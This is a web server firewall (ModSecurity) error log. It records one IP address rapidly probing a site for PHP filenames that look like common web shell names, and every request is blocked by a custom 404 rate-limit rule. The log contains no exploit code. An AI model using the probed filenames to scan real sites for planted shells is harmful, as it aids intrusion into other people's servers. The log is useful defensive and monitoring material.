[Tue Dec 30 00:04:11.916808 2025] [:error] [pid 11540:tid 11548] [client 158.158.106.197:5010] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file48.php"] [unique_id "aVKmew1izvtkZ6YWaTwNPAAAAMY"]
[Tue Dec 30 00:04:12.434084 2025] [:error] [pid 11453:tid 11514] [client 158.158.106.197:4893] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aVKmfLy-FXnKT7-6pt4EygAAAIU"]
[Tue Dec 30 00:04:12.925868 2025] [:error] [pid 24344:tid 24401] [client 158.158.106.197:4943] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aVKmfE1cesxuccozvjjuwAAAAlg"]
[Tue Dec 30 00:04:13.531315 2025] [:error] [pid 11451:tid 11461] [client 158.158.106.197:4880] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aVKmfZDUmxySx0Vynm8tuQAAAAY"]
[Tue Dec 30 00:04:14.035272 2025] [:error] [pid 11453:tid 11516] [client 158.158.106.197:4904] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/info.php"] [unique_id "aVKmfry-FXnKT7-6pt4EywAAAIc"]
[Tue Dec 30 00:04:14.675337 2025] [:error] [pid 11453:tid 11509] [client 158.158.106.197:4977] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aVKmfry-FXnKT7-6pt4EzAAAAIA"]
[Tue Dec 30 00:04:15.194368 2025] [:error] [pid 42293:tid 42295] [client 158.158.106.197:4983] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aVKmfwpAkHF7zSWhAzGEnwAAAUA"]
[Tue Dec 30 00:04:15.738714 2025] [:error] [pid 42293:tid 42305] [client 158.158.106.197:4811] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aVKmfwpAkHF7zSWhAzGEoAAAAUo"]
[Tue Dec 30 00:04:16.252127 2025] [:error] [pid 24307:tid 24324] [client 158.158.106.197:4960] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aVKmgC5AURuH8IsFzz6bpgAAAc4"]
[Tue Dec 30 00:04:16.772875 2025] [:error] [pid 11540:tid 11557] [client 158.158.106.197:4864] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aVKmgA1izvtkZ6YWaTwNQAAAAM8"]
[Tue Dec 30 00:04:17.279228 2025] [:error] [pid 24343:tid 24350] [client 158.158.106.197:4902] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aVKmgcvqvAa0rISAVIR9sAAAAgI"]
[Tue Dec 30 00:04:17.863934 2025] [:error] [pid 11540:tid 11565] [client 158.158.106.197:4980] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aVKmgQ1izvtkZ6YWaTwNQQAAANc"]
[Tue Dec 30 00:04:18.415793 2025] [:error] [pid 11540:tid 11551] [client 158.158.106.197:4867] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/la.php"] [unique_id "aVKmgg1izvtkZ6YWaTwNQgAAAMk"]
[Tue Dec 30 00:04:18.967035 2025] [:error] [pid 24344:tid 24387] [client 158.158.106.197:4991] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aVKmgk1cesxuccozvjjuwwAAAkw"]
[Tue Dec 30 00:04:19.462472 2025] [:error] [pid 42293:tid 42299] [client 158.158.106.197:4885] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aVKmgwpAkHF7zSWhAzGEpQAAAUQ"]
[Tue Dec 30 00:04:19.969210 2025] [:error] [pid 24344:tid 24397] [client 158.158.106.197:4820] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aVKmg01cesxuccozvjjuxQAAAlQ"]
[Tue Dec 30 00:04:20.512931 2025] [:error] [pid 42293:tid 42307] [client 158.158.106.197:4804] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless11.php"] [unique_id "aVKmhApAkHF7zSWhAzGEpwAAAUw"]
[Tue Dec 30 00:04:21.099160 2025] [:error] [pid 4295:tid 4307] [client 158.158.106.197:4968] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aVKmhTZaf4wrmKkZkFJSEgAAAYo"]
[Tue Dec 30 00:04:21.592829 2025] [:error] [pid 11451:tid 11462] [client 158.158.106.197:4886] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aVKmhZDUmxySx0Vynm8tvAAAAAc"]
[Tue Dec 30 00:04:22.171517 2025] [:error] [pid 4295:tid 4314] [client 158.158.106.197:4976] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aVKmhjZaf4wrmKkZkFJSEwAAAZE"]
[Tue Dec 30 00:04:22.666988 2025] [:error] [pid 11452:tid 11501] [client 158.158.106.197:4949] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ccou.php"] [unique_id "aVKmhqhBUmuWsliUNqSJnQAAAFM"]
[Tue Dec 30 00:04:23.298071 2025] [:error] [pid 42293:tid 42319] [client 158.158.106.197:4890] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aVKmhwpAkHF7zSWhAzGErAAAAVg"]
[Tue Dec 30 00:04:23.782693 2025] [:error] [pid 4295:tid 4319] [client 158.158.106.197:4906] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aVKmhzZaf4wrmKkZkFJSFQAAAZY"]
[Tue Dec 30 00:04:24.289657 2025] [:error] [pid 42293:tid 42306] [client 158.158.106.197:4974] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aVKmiApAkHF7zSWhAzGEsQAAAUs"]
[Tue Dec 30 00:04:24.812676 2025] [:error] [pid 4295:tid 4318] [client 158.158.106.197:4881] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ton.php"] [unique_id "aVKmiDZaf4wrmKkZkFJSFgAAAZU"]
[Tue Dec 30 00:04:25.317625 2025] [:error] [pid 24344:tid 24375] [client 158.158.106.197:4746] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aVKmiU1cesxuccozvjjuxwAAAkA"]
[Tue Dec 30 00:04:25.822450 2025] [:error] [pid 4295:tid 4299] [client 158.158.106.197:4858] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aVKmiTZaf4wrmKkZkFJSGAAAAYI"]
[Tue Dec 30 00:04:26.327755 2025] [:error] [pid 24307:tid 24324] [client 158.158.106.197:4951] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aVKmii5AURuH8IsFzz6btAAAAc4"]
[Tue Dec 30 00:04:26.828675 2025] [:error] [pid 42293:tid 42305] [client 158.158.106.197:4923] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/403.php"] [unique_id "aVKmigpAkHF7zSWhAzGEswAAAUo"]
[Tue Dec 30 00:04:27.327792 2025] [:error] [pid 4295:tid 4309] [client 158.158.106.197:4803] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aVKmizZaf4wrmKkZkFJSHQAAAYw"]
[Tue Dec 30 00:04:27.826012 2025] [:error] [pid 11451:tid 11460] [client 158.158.106.197:4921] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aVKmi5DUmxySx0Vynm8twgAAAAU"]
[Tue Dec 30 00:04:28.335334 2025] [:error] [pid 4295:tid 4308] [client 158.158.106.197:5036] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aVKmjDZaf4wrmKkZkFJSIAAAAYs"]
[Tue Dec 30 00:04:28.865251 2025] [:error] [pid 42293:tid 42310] [client 158.158.106.197:4986] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file9.php"] [unique_id "aVKmjApAkHF7zSWhAzGEtgAAAU8"]
[Tue Dec 30 00:04:29.352049 2025] [:error] [pid 42293:tid 42299] [client 158.158.106.197:4924] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aVKmjQpAkHF7zSWhAzGEtwAAAUQ"]
[Tue Dec 30 00:04:29.843957 2025] [:error] [pid 24307:tid 24329] [client 158.158.106.197:5029] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aVKmjS5AURuH8IsFzz6btgAAAdM"]
[Tue Dec 30 00:04:30.326541 2025] [:error] [pid 4295:tid 4307] [client 158.158.106.197:4873] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aVKmjjZaf4wrmKkZkFJSJAAAAYo"]
[Tue Dec 30 00:04:30.848948 2025] [:error] [pid 37389:tid 37463] [client 158.158.106.197:4978] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ac.php"] [unique_id "aVKmjsEYrQKI4GZ26QZzJAAAAQk"]
[Tue Dec 30 00:04:31.361202 2025] [:error] [pid 24343:tid 24369] [client 158.158.106.197:4819] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aVKmj8vqvAa0rISAVIR9tQAAAhU"]
[Tue Dec 30 00:04:31.844488 2025] [:error] [pid 37389:tid 37473] [client 158.158.106.197:4810] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aVKmj8EYrQKI4GZ26QZzJgAAARM"]
[Tue Dec 30 00:04:32.349424 2025] [:error] [pid 4295:tid 4298] [client 158.158.106.197:4836] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aVKmkDZaf4wrmKkZkFJSKQAAAYE"]
[Tue Dec 30 00:04:32.838322 2025] [:error] [pid 4295:tid 4321] [client 158.158.106.197:4821] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/new4.php"] [unique_id "aVKmkDZaf4wrmKkZkFJSKgAAAZg"]
[Tue Dec 30 00:04:33.366778 2025] [:error] [pid 4295:tid 4310] [client 158.158.106.197:4909] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aVKmkTZaf4wrmKkZkFJSKwAAAY0"]
[Tue Dec 30 00:04:33.860008 2025] [:error] [pid 42293:tid 42319] [client 158.158.106.197:5000] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aVKmkQpAkHF7zSWhAzGEvQAAAVg"]
[Tue Dec 30 00:04:34.370153 2025] [:error] [pid 4295:tid 4305] [client 158.158.106.197:4848] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aVKmkjZaf4wrmKkZkFJSMAAAAYg"]
[Tue Dec 30 00:04:34.880170 2025] [:error] [pid 42293:tid 42304] [client 158.158.106.197:4892] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/pop.php"] [unique_id "aVKmkgpAkHF7zSWhAzGEwQAAAUk"]
[Tue Dec 30 00:04:35.382375 2025] [:error] [pid 11540:tid 11558] [client 158.158.106.197:4907] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aVKmkw1izvtkZ6YWaTwNTAAAANA"]
[Tue Dec 30 00:04:35.871880 2025] [:error] [pid 24343:tid 24358] [client 158.158.106.197:4900] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aVKmk8vqvAa0rISAVIR9twAAAgo"]
[Tue Dec 30 00:04:36.409757 2025] [:error] [pid 24344:tid 24381] [client 158.158.106.197:4889] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aVKmlE1cesxuccozvjjuywAAAkY"]
[Tue Dec 30 00:04:36.895394 2025] [:error] [pid 4295:tid 4308] [client 158.158.106.197:4896] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/az.php"] [unique_id "aVKmlDZaf4wrmKkZkFJSMQAAAYs"]
[Tue Dec 30 00:04:37.403666 2025] [:error] [pid 24344:tid 24401] [client 158.158.106.197:4937] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xaz.php"] [unique_id "aVKmlU1cesxuccozvjjuzwAAAlg"]
[Tue Dec 30 00:04:37.892428 2025] [:error] [pid 24344:tid 24396] [client 158.158.106.197:4946] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xaz.php"] [unique_id "aVKmlU1cesxuccozvjju0QAAAlM"]
[Tue Dec 30 00:04:38.373318 2025] [:error] [pid 24344:tid 24385] [client 158.158.106.197:4818] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xaz.php"] [unique_id "aVKmlk1cesxuccozvjju0wAAAko"]
[Tue Dec 30 00:04:38.885031 2025] [:error] [pid 4295:tid 4303] [client 158.158.106.197:4741] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xaz.php"] [unique_id "aVKmljZaf4wrmKkZkFJSMwAAAYY"]
[Tue Dec 30 00:04:39.368477 2025] [:error] [pid 24344:tid 24382] [client 158.158.106.197:4798] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up4.php"] [unique_id "aVKml01cesxuccozvjju1AAAAkc"]
[Tue Dec 30 00:04:39.856029 2025] [:error] [pid 4295:tid 4312] [client 158.158.106.197:4753] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up4.php"] [unique_id "aVKmlzZaf4wrmKkZkFJSNAAAAY8"]
[Tue Dec 30 00:04:40.349361 2025] [:error] [pid 11452:tid 11485] [client 158.158.106.197:4838] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up4.php"] [unique_id "aVKmmKhBUmuWsliUNqSJoQAAAEM"]
[Tue Dec 30 00:04:40.826697 2025] [:error] [pid 24344:tid 24399] [client 158.158.106.197:4827] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/up4.php"] [unique_id "aVKmmE1cesxuccozvjju1gAAAlY"]
